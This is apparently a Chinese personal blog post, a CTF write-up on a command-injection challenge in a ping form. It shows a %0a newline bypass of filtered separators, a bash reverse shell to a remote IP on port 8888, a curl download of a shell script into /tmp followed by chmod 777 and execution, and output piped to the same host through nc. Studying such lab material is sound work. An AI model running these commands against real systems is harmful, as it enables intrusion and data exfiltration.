nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

命令执行漏洞--死亡之ping

前言

虽然放假了,但是也不能废了,坚持一天一道ctf题目,md因为靶场自己一直都注册不成功,只能赛博复现了。。。。。很喜欢赛博复现

解题过程

2024-01-19T03:12:59.png
这种题目做了一些,就是分隔符去执行命令,但是本题分隔符过滤完了,我们可以试一试%0a什么的,发现成功
开始执行命令,但是只是告诉你执行成功没有,并没有什么回显,标准无回显命令执行,我们通过反弹shell来达到我们的目的,反弹shell需要一个自己的服务器,需要一个公网的ip

bash -i >& /dev/tcp/10.4.7.146/8888 0>&1

发现不能执行,因为有恶意字符
补充一下,如果想要验证自己命令执行成功没有,可以开启python的http服务
2024-01-19T03:36:32.png200表示成功

思路1

尝试url编码试一试,不行,那只能绕过,那我直接给你上传文件,让你执行文件总可以吧,在自己服务器上搞一个文件,内容为bash -i >& /dev/tcp/10.4.7.146/8888 0>&1保存为1.sh
然后去下载这个文件

 %0acurl ip/1.sh > /tmp/1.sh

然后下载成功后去执行,但是执行之前我们需要提高文件权限
chmod 777 /tmp/1.sh 777为最高权限,可以写入修改读取
在服务器上监听8888端口,执行命令 sh /tmp/1.sh
不出意外的话shell反弹成功,在自己服务器上执行命令
2024-01-19T03:30:04.png
以上命令要进行url编码

思路2

不会bash怎么办,那我们就直接执行命令啊,一步一步来做,比如我ls命令,我希望回显到我的服务器上就可以执行命令

ls | nc 10.4.7.146 8888

这个命令就是把ls的结果回显到服务器8888端口上
同样的是|被禁掉了,我们也只能保存为文件,然后和上面一样的步骤
下载ip=%0Acurl 10.4.7.146/ls > /tmp/ls
提权ip=%0Achmod 777 /tmp/ls
执行命令ip=%0A/tmp/ls不理解为什么这样可以直接执行文件里的命令..
2024-01-19T03:41:36.png
就这样执行,一样的步骤,然后就得到flag

主要是学习一个思路,对反弹bash的熟悉
内容参考https://blog.csdn.net/m0_62202418?type=blog
https://blog.csdn.net/weixin_51559599?type=blog

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » 命令执行漏洞--死亡之ping

评论